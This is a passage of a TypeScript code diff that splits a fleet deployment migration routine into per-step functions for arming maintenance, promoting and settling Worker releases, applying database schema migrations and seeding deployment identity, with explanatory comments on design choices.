+      targetRelease.physicalScriptName ||
+      current.activeRelease.releaseSchemaVersion !==
+        targetRelease.releaseSchemaVersion ||
+      current.activeRelease.artifactVersion !== live.artifactVersion)
+  ) {
+    throw new Error(
+      'ready immutable release metadata does not exactly match the target',
+    );
+  }
+  let maintenance = live.maintenance;
+  if (!maintenance.armed) {
+    current = await commitInvocationAuthority(lease, current, admitted.clock);
+    await lease.assertOwned();
+    maintenance = await backend.ensureMaintenance(
+      spec,
+      secrets.maintenanceAdmin,
+      lease,
+      activeArtifactVersion(current),
+    );
+  }
+  if (!maintenance.armed) throw new Error('maintenance did not re-arm');
+  return current;
+}
+
+async function migrationReadyPromote(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const { lease, backend, spec, targetPhysicalScriptName } = admitted;
+  current = await commitInvocationAuthority(lease, current, admitted.clock);
+  await lease.assertOwned();
+  await backend.promoteWorker(
+    spec,
+    buildPromotionGuard(current, targetPhysicalScriptName ?? spec.scriptName),
+    current.outboundPolicy,
+    lease,
+    activeArtifactVersion(current),
+  );
+  return current;
+}
+
+async function migrationReadyAttestSettle(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const {
+    lease,
+    backend,
+    spec,
+    targetDigest,
+    settlementFor,
+    attestationOptions,
+  } = admitted;
+  // The steady-state path: an unchanged deployment reconciled again.
+  // It re-promotes because a crash could have left the route behind,
+  // so it must re-attest — but it must not re-settle, or a fleet on a
+  // reconcile schedule would settle forever.
+  const convergence = await settlePromotedRoute({
+    backend,
+    spec,
+    record: current,
+    entry: 'ready-convergence',
+    target: current.activeRelease,
+    prior: current.rollbackRelease,
+    expectedSpecDigest: targetDigest,
+    expectedArtifactVersion: activeArtifactVersion(current),
+    settlementHost: settlementFor?.(current),
+    attestation: attestationOptions,
+    skipWhenAlreadySettled: true,
+  });
+  if (convergence.settled) {
+    current = {
+      ...current,
+      settledSettlementKey: convergence.settlementKey,
+      updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+    };
+    await lease.put(current);
+  }
+  return current;
+}
+
+async function migrationReadyRetirePost(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const { lease, database, backend, spec } = admitted;
+  return retireCommittedRelease(
+    backend,
+    spec,
+    database,
+    current,
+    lease,
+    admitted.clock,
+  );
+}
+
+async function migrationAdmitMigrating(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+  planKind: FleetMigrationPlanKind,
+): Promise<FleetRecord> {
+  const {
+    lease,
+    targetDigest,
+    immutableExternal,
+    targetRelease,
+    targetPlatform,
+    platformOnlyTarget,
+    spec,
+  } = admitted;
+  const preserveMutableArtifact =
+    current.phase === 'ready' &&
+    !targetRelease &&
+    spec.authoredBy === 'platform';
+  const mutableActiveRelease = preserveMutableArtifact
+    ? activeExternalRelease(current)
+    : undefined;
+  if (preserveMutableArtifact && !mutableActiveRelease)
+    throw new Error(
+      'mutable migration requires a recorded prior Worker artifact',
+    );
+  const externalIntent: ExternalMigrationIntent | undefined =
+    immutableExternal && targetRelease && targetPlatform
+      ? planKind === 'platform-only'
+        ? {
+            platformOnly: true,
+            targetSpecDigest: targetDigest,
+            priorRelease: current.activeRelease as ExternalReleaseSnapshot,
+            priorTarget:
+              current.platformTarget as ExternalPlatformTargetDescription,
+            priorOutboundPolicy:
+              current.outboundPolicy as DeploymentEgressPolicy,
+            targetRelease: current.activeRelease as ExternalReleaseSnapshot,
+            target: platformOnlyTarget as ExternalPlatformTargetDescription,
+            subphase: 'planned',
+          }
+        : {
+            targetSpecDigest: targetDigest,
+            priorRelease: current.activeRelease as ExternalReleaseSnapshot,
+            priorTarget:
+              current.platformTarget as ExternalPlatformTargetDescription,
+            priorOutboundPolicy:
+              current.outboundPolicy as DeploymentEgressPolicy,
+            targetRelease,
+            target: targetPlatform,
+            subphase: 'planned',
+          }
+      : undefined;
+  const migrationRecord: FleetRecord =
+    current.phase === 'ready'
+      ? {
+          ...current,
+          phase: 'migrating',
+          ...(mutableActiveRelease
+            ? { activeRelease: mutableActiveRelease }
+            : {}),
+          ...(externalIntent?.platformOnly
+            ? { migrationIntent: externalIntent }
+            : targetRelease
+              ? {
+                  pendingRelease: targetRelease,
+                  migrationPriorRelease: current.activeRelease,
+                  migrationIntent: externalIntent,
+                }
+              : {}),
+          ...(!targetRelease ? { pendingSpecDigest: targetDigest } : {}),
+          updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+        }
+      : current;
+  if (current.phase === 'ready') await lease.put(migrationRecord);
+  return migrationRecord;
+}
+
+async function migrationAssertMigrating(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  await assertMigratingCarrierState(admitted, current);
+  return current;
+}
+
+async function migrationPlatformOnlySchema(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const { lease } = admitted;
+  const intent = current.migrationIntent as ExternalMigrationIntent;
+  if (intent.subphase === 'planned') {
+    current = {
+      ...current,
+      migrationIntent: {
+        ...intent,
+        subphase: 'schema-applied',
+      },
+      updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+    };
+    await lease.put(current);
+  }
+  return current;
+}
+
+async function migrationPlatformOnlyResources(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const { lease, database, backend, spec, secrets, finalizedStateProvider } =
+    admitted;
+  const platformMigrationTarget = (
+    current.migrationIntent as ExternalMigrationIntent
+  ).target;
+  current = await convergeExternalPlatformResources(
+    backend,
+    spec,
+    database,
+    secrets,
+    platformMigrationTarget,
+    current,
+    lease,
+    admitted.clock,
+    finalizedStateProvider,
+  );
+  if (current.migrationIntent?.subphase === 'schema-applied') {
+    current = {
+      ...current,
+      migrationIntent: {
+        ...current.migrationIntent,
+        subphase: 'platform-applied',
+      },
+      updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+    };
+    await lease.put(current);
+  }
+  return current;
+}
+
+async function migrationPlatformOnlyMaintenance(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+  entry: FleetRecord,
+): Promise<FleetRecord> {
+  const { lease, backend, spec, secrets, targetDigest } = admitted;
+  const platformMigrationRelease = (
+    current.migrationIntent as ExternalMigrationIntent
+  ).targetRelease;
+  const maintenancePreflight = await backend.inspect(
+    spec,
+    secrets.maintenanceAdmin,
+    platformMigrationRelease.artifactVersion,
+  );
+  if (!maintenancePreflight) {
+    throw new Error('platform-only migration release is missing');
+  }
+  assertLiveDeploymentMatches(
+    maintenancePreflight,
+    entry,
+    spec,
+    targetDigest,
+    platformMigrationRelease.application,
+  );
+  assertExternalReleaseArtifactVersion(
+    maintenancePreflight,
+    platformMigrationRelease,
+    'platform-only maintenance',
+  );
+  current = await commitInvocationAuthority(lease, current, admitted.clock);
+  await lease.assertOwned();
+  const maintenance = await backend.ensureMaintenance(
+    spec,
+    secrets.maintenanceAdmin,
+    lease,
+    platformMigrationRelease.artifactVersion,
+  );
+  if (!maintenance.armed) {
+    throw new Error(
+      'platform-only migration maintenance is unarmed before route publication',
+    );
+  }
+  return current;
+}
+
+async function migrationPlatformOnlyPromote(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+  entry: FleetRecord,
+): Promise<FleetRecord> {
+  const {
+    lease,
+    backend,
+    spec,
+    secrets,
+    targetDigest,
+    targetPhysicalScriptName,
+  } = admitted;
+  const platformMigrationTarget = (
+    current.migrationIntent as ExternalMigrationIntent
+  ).target;
+  const platformMigrationRelease = (
+    current.migrationIntent as ExternalMigrationIntent
+  ).targetRelease;
+  if (current.migrationIntent?.subphase === 'platform-applied') {
+    const publicationPreflight = await backend.inspect(
+      spec,
+      secrets.maintenanceAdmin,
+      platformMigrationRelease.artifactVersion,
+    );
+    if (!publicationPreflight) {
+      throw new Error('platform-only migration release is missing');
+    }
+    assertLiveDeploymentMatches(
+      publicationPreflight,
+      entry,
+      spec,
+      targetDigest,
+      platformMigrationRelease.application,
+    );
+    assertExternalReleaseArtifactVersion(
+      publicationPreflight,
+      platformMigrationRelease,
+      'platform-only publication',
+    );
+    // The preceding maintenance step durably committed invocation authority.
+    await lease.assertOwned();
+    await backend.promoteWorker(
+      spec,
+      buildPromotionGuard(current, targetPhysicalScriptName ?? spec.scriptName),
+      platformMigrationTarget.outboundPolicy,
+      lease,
+      platformMigrationRelease.artifactVersion,
+    );
+    current = {
+      ...current,
+      migrationIntent: {
+        ...current.migrationIntent,
+        subphase: 'route-published',
+      },
+      updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+    };
+    await lease.put(current);
+  }
+  return current;
+}
+
+async function migrationPlatformOnlyReady(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+  entry: FleetRecord,
+): Promise<FleetRecord> {
+  const {
+    lease,
+    backend,
+    spec,
+    secrets,
+    targetDigest,
+    settlementFor,
+    attestationOptions,
+  } = admitted;
+  if (isConvergedTerminalCommit(current, admitted, 'platform-only'))
+    return current;
+  const platformMigrationTarget = (
+    current.migrationIntent as ExternalMigrationIntent
+  ).target;
+  const platformMigrationRelease = (
+    current.migrationIntent as ExternalMigrationIntent
+  ).targetRelease;
+  const live = await backend.inspect(
+    spec,
+    secrets.maintenanceAdmin,
+    platformMigrationRelease.artifactVersion,
+  );
+  if (!live) throw new Error('platform-only migration release is missing');
+  assertLiveDeploymentMatches(
+    live,
+    entry,
+    spec,
+    targetDigest,
+    platformMigrationRelease.application,
+  );
+  assertExternalReleaseArtifactVersion(
+    live,
+    platformMigrationRelease,
+    'platform-only settlement',
+  );
+  const platformSettlement = await settlePromotedRoute({
+    backend,
+    spec,
+    record: current,
+    entry: 'platform-only',
+    target: platformMigrationRelease,
+    prior: current.rollbackRelease,
+    expectedSpecDigest: targetDigest,
+    expectedArtifactVersion: platformMigrationRelease.artifactVersion,
+    settlementHost: settlementFor?.(current),
+    attestation: attestationOptions,
+  });
+  const settled = { ...current };
+  delete settled.migrationIntent;
+  const migrated: FleetRecord = {
+    ...settled,
+    phase: 'ready',
+    platformTarget: platformMigrationTarget,
+    outboundPolicy: platformMigrationTarget.outboundPolicy,
+    ...(platformSettlement.settled
+      ? { settledSettlementKey: platformSettlement.settlementKey }
+      : {}),
+    updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+  };
+  await lease.put(migrated);
+  return migrated;
+}
+
+async function migrationSeedIdentity(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+  entry: FleetRecord,
+): Promise<FleetRecord> {
+  const { lease, database, backend } = admitted;
+  await lease.assertOwned();
+  // Re-stamping a database this deployment already owns: the ownership
+  // sentinel short-circuits, and the only thing that can still happen is
+  // the fence row being CREATED where none exists.
+  //
+  // 'open' is hard-coded, and migrateFleet takes no fence option, for one
+  // reason: the deployment being migrated is `ready` or `migrating` — it
+  // is EXECUTING right now. A pre-0.20 database has no fence row and
+  // therefore reads as open; materializing that row must record what the
+  // deployment already IS, not impose something new. Seeding
+  // 'migration-locked' here would silently stop a live deployment in the
+  // middle of its own migration. Closing a fence is an operator action
+  // through POST /admin/execution-fence, never a side effect of a
+  // schema pass.
+  await backend.seedDeploymentIdentity(database, entry.tenantTag, lease, {
+    initialExecutionFenceState: 'open',
+  });
+  return current;
+}
+
+async function migrationApplyMigrations(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+  entry: FleetRecord,
+  planEntry: FleetMigrationPlanEntry,
+  finalOccurrence: boolean,
+): Promise<FleetRecord> {
+  const { backend, database, lease, spec } = admitted;
+  const { targetSchemaVersion } = planEntry;
+  if (
+    targetSchemaVersion === undefined ||
+    (current.schemaVersion >= targetSchemaVersion && finalOccurrence)
+  ) {
+    await lease.assertOwned();
+    await backend.applyMigrations(database, spec.migrations, lease);
+  } else if (current.schemaVersion < targetSchemaVersion) {
+    await lease.assertOwned();
+    await backend.applyMigrations(
+      database,
+      spec.migrations.slice(0, targetSchemaVersion),
+      lease,
+    );
+    current = {
+      ...current,
+      schemaVersion: targetSchemaVersion,
+      updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+    };
+    await lease.put(current);
+  }
+  if (finalOccurrence && current.schemaVersion !== spec.schemaVersion) {
+    throw new Error(
+      `missing D1 migration path from ${entry.schemaVersion} to ${spec.schemaVersion}`,
+    );
+  }
+  return current;
+}
+
+async function migrationSchemaApplied(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const { lease } = admitted;
+  if (current.migrationIntent?.subphase === 'planned') {
+    current = {
+      ...current,
+      migrationIntent: {
+        ...current.migrationIntent,
+        subphase: 'schema-applied',
+      },
+      updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+    };
+    await lease.put(current);
+  }
+  return current;
+}
+
+async function migrationPlatformResources(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const {
+    lease,
+    database,
+    backend,
+    spec,
+    secrets,
+    finalizedStateProvider,
+    targetPlatform,
+  } = admitted;
+  if (targetPlatform) {
+    current = await convergeExternalPlatformResources(
+      backend,
+      spec,
+      database,
+      secrets,
+      current.migrationIntent?.target ?? targetPlatform,
+      current,
+      lease,
+      admitted.clock,
+      finalizedStateProvider,
+    );
+    if (current.migrationIntent?.subphase === 'schema-applied') {
+      current = {
+        ...current,
+        migrationIntent: {
+          ...current.migrationIntent,
+          subphase: 'platform-applied',
+        },
+        updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+      };
+      await lease.put(current);
+    }
+  }
+  return current;
+}
+
+async function migrationPendingTopology(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const { lease, spec } = admitted;
+  if (current.pendingRelease && current.platformResources) {
+    const topology = externalReleaseTopology(
+      spec,
+      current.platformResources,
+      current.applicationResources,
+    );
+    current = {
+      ...current,
+      pendingRelease: { ...current.pendingRelease, topology },
+      ...(current.migrationIntent
+        ? {
+            migrationIntent: {
+              ...current.migrationIntent,
+              targetRelease: {
+                ...current.migrationIntent.targetRelease,
+                topology,
+              },
+            },
+          }
+        : {}),
+      updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+    };
+    await lease.put(current);
+  }
+  return current;
+}
+
+async function migrationDeployCandidate(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+  entry: FleetRecord,
+): Promise<FleetRecord> {
+  const {
+    lease,
+    database,
+    backend,
+    spec,
+    secrets,
+    targetDigest,
+    immutableExternal,
+    targetPhysicalScriptName,
+  } = admitted;
+  let live: LiveDeployment | undefined;
+  if (current.migrationIntent?.subphase !== 'platform-applied') {
+    live = await backend.inspect(
+      spec,
+      secrets.maintenanceAdmin,
+      pendingArtifactVersion(current),
+    );
+  }
+  if (
+    current.pendingRelease &&
+    current.pendingRelease.artifactVersion !== 'pending'
+  ) {
+    assertExternalReleaseArtifactVersion(
+      live,
+      current.pendingRelease,
+      'migration candidate',
+    );
+  }
+  if (
+    current.migrationIntent?.subphase === 'platform-applied' ||
+    !live ||
+    live.desiredSpecDigest !== targetDigest
+  ) {
+    current = await commitInvocationAuthority(lease, current, admitted.clock);
+    await lease.assertOwned();
+    const deployed = await backend.deployWorker(
+      spec,
+      database,
+      secrets,
+      current.platformResources,
+      lease,
+      current.pendingRelease?.artifactVersion ??
+        current.pendingArtifactVersion ??
+        (immutableExternal ? 'pending' : undefined),
+      current.migrationIntent?.targetRelease.application ??
+        current.pendingRelease?.application ??
+        applicationBindingTopology(spec, current.applicationResources ?? []),
+    );
+    if (
+      targetPhysicalScriptName &&
+      deployed.physicalScriptName !== targetPhysicalScriptName
+    ) {
+      throw new Error('backend deployed an unexpected physical release');
+    }
+  }
+  live = await backend.inspect(
+    spec,
+    secrets.maintenanceAdmin,
+    pendingArtifactVersion(current),
+  );
+  if (!live) throw new Error('migration candidate is missing');
+  assertLiveDeploymentMatches(
+    live,
+    entry,
+    spec,
+    targetDigest,
+    current.migrationIntent?.targetRelease.application ??
+      current.pendingRelease?.application ??
+      applicationBindingTopology(spec, current.applicationResources ?? []),
+  );
+  if (current.pendingRelease) {
+    assertExternalReleaseArtifactVersion(
+      live,
+      current.pendingRelease,
+      'migration candidate',
+    );
+  }
+  if (
+    targetPhysicalScriptName &&
+    live.scriptName !== targetPhysicalScriptName
+  ) {
+    throw new Error('migration candidate has an unexpected physical name');
+  }
+  if (
+    current.migrationIntent &&
+    current.pendingRelease?.artifactVersion === 'pending'
+  ) {
+    const intendedTopology = current.pendingRelease.topology;
+    if (!intendedTopology) {
+      throw new Error('migration candidate has no intended binding topology');
+    }
+    const pendingRelease = {
+      ...current.migrationIntent.targetRelease,
+      artifactVersion: live.artifactVersion,
+      topology: externalReleaseTopologyFromLive(live, intendedTopology),
+    };
+    current = {
+      ...current,
+      pendingRelease,
+      migrationIntent: {
+        ...current.migrationIntent,
+        targetRelease: pendingRelease,
+        subphase: 'candidate-deployed',
+      },
+      updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+    };
+    await lease.put(current);
+  } else if (
+    !immutableExternal &&
+    current.pendingArtifactVersion === undefined
+  ) {
+    current = {
+      ...current,
+      pendingArtifactVersion: live.artifactVersion,
+      updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+    };
+    await lease.put(current);
+  }
+  return current;
+}
+
+async function migrationArmMaintenance(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const { lease, backend, spec, secrets } = admitted;
+  current = await commitInvocationAuthority(lease, current, admitted.clock);
+  await lease.assertOwned();
+  const maintenance = await backend.ensureMaintenance(
+    spec,
+    secrets.maintenanceAdmin,
+    lease,
+    pendingArtifactVersion(current),
+  );
+  if (!maintenance.armed) throw new Error('maintenance did not re-arm');
+  if (current.migrationIntent?.subphase === 'candidate-deployed') {
+    current = {
+      ...current,
+      migrationIntent: {
+        ...current.migrationIntent,
+        subphase: 'candidate-armed',
+      },
+      updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+    };
+    await lease.put(current);
+  }
+  return current;
+}
+
+async function migrationPromote(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+  entry: FleetRecord,
+): Promise<FleetRecord> {
+  const {
+    lease,
+    backend,
+    spec,
+    secrets,
+    targetDigest,
+    targetPhysicalScriptName,
+  } = admitted;
+  const publicationPreflight = await backend.inspect(
+    spec,
+    secrets.maintenanceAdmin,
+    pendingArtifactVersion(current),
+  );
+  if (!publicationPreflight) {
+    throw new Error('migration candidate is missing before publication');
+  }
+  assertLiveDeploymentMatches(
+    publicationPreflight,
+    entry,
+    spec,
+    targetDigest,
+    current.migrationIntent?.targetRelease.application ??
+      current.pendingRelease?.application ??
+      applicationBindingTopology(spec, current.applicationResources ?? []),
+  );
+  if (current.pendingRelease) {
+    assertExternalReleaseArtifactVersion(
+      publicationPreflight,
+      current.pendingRelease,
+      'migration publication',
+    );
+  }
+  // The preceding maintenance step durably committed invocation authority.
+  await lease.assertOwned();
+  await backend.promoteWorker(
+    spec,
+    buildPromotionGuard(current, targetPhysicalScriptName ?? spec.scriptName),
+    current.migrationIntent?.target.outboundPolicy ?? current.outboundPolicy,
+    lease,
+    pendingArtifactVersion(current),
+  );
+  if (current.migrationIntent) {
+    current = {
+      ...current,
+      migrationIntent: {
+        ...current.migrationIntent,
+        subphase: 'route-published',
+      },
+      updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+    };
+    await lease.put(current);
+  }
+  return current;
+}
+
+async function migrationSettleReady(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+  entry: FleetRecord,
+): Promise<FleetRecord> {
+  const {
+    lease,
+    backend,
+    spec,
+    secrets,
+    targetDigest,
+    finalizedStateProvider,
+    settlementFor,
+    attestationOptions,
+    targetPlatform,
+    targetPhysicalScriptName,
+  } = admitted;
+  if (isConvergedTerminalCommit(current, admitted, 'full')) return current;
+  const live = await backend.inspect(
+    spec,
+    secrets.maintenanceAdmin,
+    pendingArtifactVersion(current),
+  );
+  if (!live) {
+    throw new Error(
+      `deployment did not converge after migration for ${entry.tenantTag}:${entry.environment}`,
+    );
+  }
+  assertLiveDeploymentMatches(
+    live,
+    entry,
+    spec,
+    targetDigest,
+    current.migrationIntent?.targetRelease.application ??
+      current.pendingRelease?.application ??
+      applicationBindingTopology(spec, current.applicationResources ?? []),
+  );
+  if (current.pendingRelease) {
+    assertExternalReleaseArtifactVersion(
+      live,
+      current.pendingRelease,
+      'migration settlement',
+    );
+  }
+  if (
+    targetPhysicalScriptName &&
+    live.scriptName !== targetPhysicalScriptName
+  ) {
+    throw new Error('promoted release has an unexpected physical name');
+  }
+  const rollbackRelease = current.migrationPriorRelease;
+  const retiringRelease = targetPhysicalScriptName
+    ? entry.rollbackRelease
+    : undefined;
+  const committedTargetRelease = current.pendingRelease;
+  if (
+    targetPhysicalScriptName &&
+    (!committedTargetRelease ||
+      committedTargetRelease.physicalScriptName !== targetPhysicalScriptName ||
+      !committedTargetRelease.topology)
+  ) {
+    throw new Error('promoted release has no exact persisted binding topology');
+  }
+  const migrationSettlement = await settlePromotedRoute({
+    backend,
+    spec,
+    record: current,
+    entry: 'migration',
+    target: committedTargetRelease,
+    prior: rollbackRelease,
+    expectedSpecDigest: targetDigest,
+    expectedArtifactVersion: live.artifactVersion,
+    settlementHost: settlementFor?.(current),
+    attestation: attestationOptions,
+  });
+  const settled = { ...current };
+  delete settled.pendingRelease;
+  delete settled.migrationPriorRelease;
+  delete settled.pendingSpecDigest;
+  delete settled.pendingArtifactVersion;
+  delete settled.migrationIntent;
+  if (spec.authoredBy === 'platform') delete settled.activeRelease;
+  const migrated: FleetRecord = {
+    ...settled,
+    phase: 'ready',
+    desiredSpecDigest: targetDigest,
+    schemaVersion: spec.schemaVersion,
+    artifactVersion: live.artifactVersion,
+    ...(targetPhysicalScriptName
+      ? {
+          activeRelease: committedTargetRelease as ExternalReleaseSnapshot,
+          rollbackRelease,
+          ...(retiringRelease ? { retiringRelease } : {}),
+        }
+      : {}),
+    ...(targetPlatform
+      ? {
+          platformTarget: targetPlatform,
+          outboundPolicy: targetPlatform.outboundPolicy,
+        }
+      : {}),
+    // Written unconditionally, unlike the conditional spreads around it: the
+    // key belongs to a migrated record whatever its value, and carries
+    // `undefined` when a finalized state provider supplies no tag. The frozen
+    // migration baseline records it that way and the golden suite compares
+    // with `toStrictEqual`, which reads a present `undefined` key differently
+    // from an absent one, so a conditional spread here changes what it pins.
+    durableObjectTag: finalizedStateProvider
+      ? current.durableObjectTag
+      : targetDurableObjectTag(spec),
+    ...(spec.authoredBy === 'platform'
+      ? {
+          durableObjectMigrationHistory: canonicalDurableObjectMigrationHistory(
+            spec.durableObjectMigrations,
+          ),
+          durableObjectMigrationHistoryDigest:
+            durableObjectMigrationHistoryDigest(spec.durableObjectMigrations),
+        }
+      : {}),
+    durableObjectBindings: live.durableObjectBindings,
+    applicationBindings:
+      committedTargetRelease?.application ??
+      applicationBindingTopology(spec, current.applicationResources ?? []),
+    ...(migrationSettlement.settled
+      ? { settledSettlementKey: migrationSettlement.settlementKey }
+      : {}),
+    updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(),
+  };
+  await lease.put(migrated);
+  return migrated;
+}
+
+async function migrationRetirePost(
+  admitted: AdmittedFleetMigrationContext,
+  current: FleetRecord,
+): Promise<FleetRecord> {
+  const { lease, database, backend, spec } = admitted;
+  return retireCommittedRelease(
+    backend,
+    spec,
+    database,
+    current,
+    lease,
+    admitted.clock,
+  );
+}
+
+type FleetMigrationStepResult =
+  | Readonly<{ done: false; record: FleetRecord; resultOnDone?: never }>
+  | Readonly<{ done: true; record: FleetRecord; resultOnDone: FleetRecord }>;
+
+export async function executeNextMigrationStep(
+  admitted: AdmittedFleetMigrationContext,
+  plan: readonly FleetMigrationPlanEntry[],
+  planCursor: number,
+  recordViews: Readonly<{ entry: FleetRecord; current: FleetRecord }>,
+): Promise<FleetMigrationStepResult> {
+  const planEntry = plan[planCursor];
+  if (!planEntry) {
+    throw new Error('fleet migration item no longer matches its frozen plan');
+  }
+  const { entry } = recordViews;
+  let { current } = recordViews;
+  switch (planEntry.step) {
+    case 'retire-pre':
+      current = await migrationRetirePre(admitted, current);
+      break;
+    case 'ready-target-backfill':
+      current = await migrationReadyTargetBackfill(admitted, current);
+      break;
+    case 'ready-platform-resources':
+      current = await migrationReadyPlatformResources(admitted, current);
+      break;
+    case 'ready-maintenance':
+      current = await migrationReadyMaintenance(admitted, current);
+      break;
+    case 'ready-promote':
+      current = await migrationReadyPromote(admitted, current);
+      break;
+    case 'ready-attest-settle':
+      current = await migrationReadyAttestSettle(admitted, current);
+      break;
+    case 'ready-retire-post':
+      current = await migrationReadyRetirePost(admitted, current);
+      break;
+    case 'admit-migrating':
+      current = await migrationAdmitMigrating(
+        admitted,
+        current,
+        fleetMigrationPlanKindOf(plan),
+      );
+      break;
+    case 'assert-migrating':
+      current = await migrationAssertMigrating(admitted, current);
+      break;
+    case 'platform-only-schema':
+      current = await migrationPlatformOnlySchema(admitted, current);
+      break;
+    case 'platform-only-resources':
+      current = await migrationPlatformOnlyResources(admitted, current);
+      break;
+    case 'platform-only-maintenance':
+      current = await migrationPlatformOnlyMaintenance(
+        admitted,
+        current,
+        entry,
+      );
+      break;
+    case 'platform-only-promote':
+      current = await migrationPlatformOnlyPromote(admitted, current, entry);
+      break;
+    case 'platform-only-ready':
+      current = await migrationPlatformOnlyReady(admitted, current, entry);
+      break;
+    case 'seed-identity':
+      current = await migrationSeedIdentity(admitted, current, entry);
+      break;
+    case 'apply-migrations':
+      current = await migrationApplyMigrations(
+        admitted,
+        current,
+        entry,
+        planEntry,
+        !plan
+          .slice(planCursor + 1)
+          .some(({ step }) => step === 'apply-migrations'),
+      );
+      break;
+    case 'migration-schema-applied':
+      current = await migrationSchemaApplied(admitted, current);
+      break;
+    case 'platform-resources':
+      current = await migrationPlatformResources(admitted, current);
+      break;
+    case 'pending-topology':
+      current = await migrationPendingTopology(admitted, current);
+      break;
+    case 'deploy-candidate':
+      current = await migrationDeployCandidate(admitted, current, entry);
+      break;
+    case 'arm-maintenance':
+      current = await migrationArmMaintenance(admitted, current);
+      break;
+    case 'promote':
+      current = await migrationPromote(admitted, current, entry);
+      break;
+    case 'settle-ready':
+      current = await migrationSettleReady(admitted, current, entry);
+      break;
+    case 'retire-post':
+      current = await migrationRetirePost(admitted, current);
+      break;
+  }
+  if (
+    planEntry.step === 'ready-retire-post' ||
+    planEntry.step === 'platform-only-ready' ||
+    planEntry.step === 'retire-post'
+  ) {
+    return { done: true, record: current, resultOnDone: current };
+  }
+  return { done: false, record: current };
+}
+
 export async function migrateFleet(options: {
   readonly store: FleetStateStore;
   readonly records: readonly FleetRecord[];
@@ -1406,957 +3834,43 @@ export async function migrateFleet(options: {
     ...options.routeAttestation,
   };
   const updated: FleetRecord[] = [];
-  for (const record of ordered) {
+  for (const [index, record] of ordered.entries()) {
     const next = await options.store.withDeploymentLease(
       record.tenantTag,
       record.environment,
       async (lease) => {
-        let stored = await options.store.get(
-          record.tenantTag,
-          record.environment,
-        );
-        if (!stored) throw new Error('fleet migration record disappeared');
-        assertBackendSwitchInactive(stored);
-        const storedSchemaVersion = stored.schemaVersion;
-        const backend = options.backendFor(stored);
-        const spec = options.specFor(stored);
-        const secrets = options.secretsFor(stored);
-        const finalizedOrdinaryState =
-          stored.backendSwitchIntent?.subphase === 'finalized' &&
-          stored.platformResources?.stateWorker.plane === 'ordinary';
-        const finalizedStateProvider = finalizedOrdinaryState
-          ? options.finalizedStateProviderFor?.(stored)
-          : undefined;
-        if (finalizedOrdinaryState) {
-          finalizedBridgeForRecord(stored);
-          if (!finalizedStateProvider) {
-            throw new Error(
-              'finalized ordinary state requires its backend-switch provider',
-            );
-          }
-        }
-        validateDeploymentSpec(spec);
-        validateDeploymentSecrets(spec, secrets);
-        assertImmutableDeploymentMapping(stored, backend, spec);
-        assertPlatformDurableObjectHistory(stored, spec);
-        if (stored.phase !== 'ready' && stored.phase !== 'migrating') {
-          throw new Error(
-            `cannot migrate deployment in phase '${stored.phase}'`,
-          );
-        }
-        const targetDigest = deploymentSpecDigest(spec);
-        const immutableExternal =
-          backend.immutableExternalArtifacts === true &&
-          spec.authoredBy === 'external';
-        const targetPhysicalScriptName = immutableExternal
-          ? backend.releaseScriptName?.(spec)
-          : undefined;
-        if (immutableExternal && !targetPhysicalScriptName) {
-          throw new Error(
-            'immutable external backend did not provide a physical release name',
-          );
-        }
-        if (
-          spec.migrations.some(
-            (migration) =>
-              migration.version > storedSchemaVersion &&
-              migration.rollbackCompatible !== true,
-          )
-        ) {
-          throw new Error(
-            'staged D1 migrations must attest rollbackCompatible before candidate creation',
-          );
-        }
-        const targetRelease: ExternalReleaseSnapshot | undefined =
-          targetPhysicalScriptName
-            ? {
-                physicalScriptName: targetPhysicalScriptName,
-                specDigest: targetDigest,
-                artifactVersion: 'pending',
-                releaseSchemaVersion: spec.schemaVersion,
-                application: applicationBindingTopology(
-                  spec,
-                  stored.applicationResources ?? [],
-                ),
-              }
-            : undefined;
-        const targetPlatform = immutableExternal
-          ? finalizedStateProvider
-            ? finalizedStateProvider.describeFinalizedBridgeTarget(spec, stored)
-            : describeExternalPlatformTarget(backend, spec)
-          : undefined;
-        if (stored.platformTarget && targetPlatform) {
-          assertExternalPlatformTargetCompatibility(
-            stored.platformTarget,
-            targetPlatform,
-          );
-        }
-        const platformOnlyTarget = targetPlatform
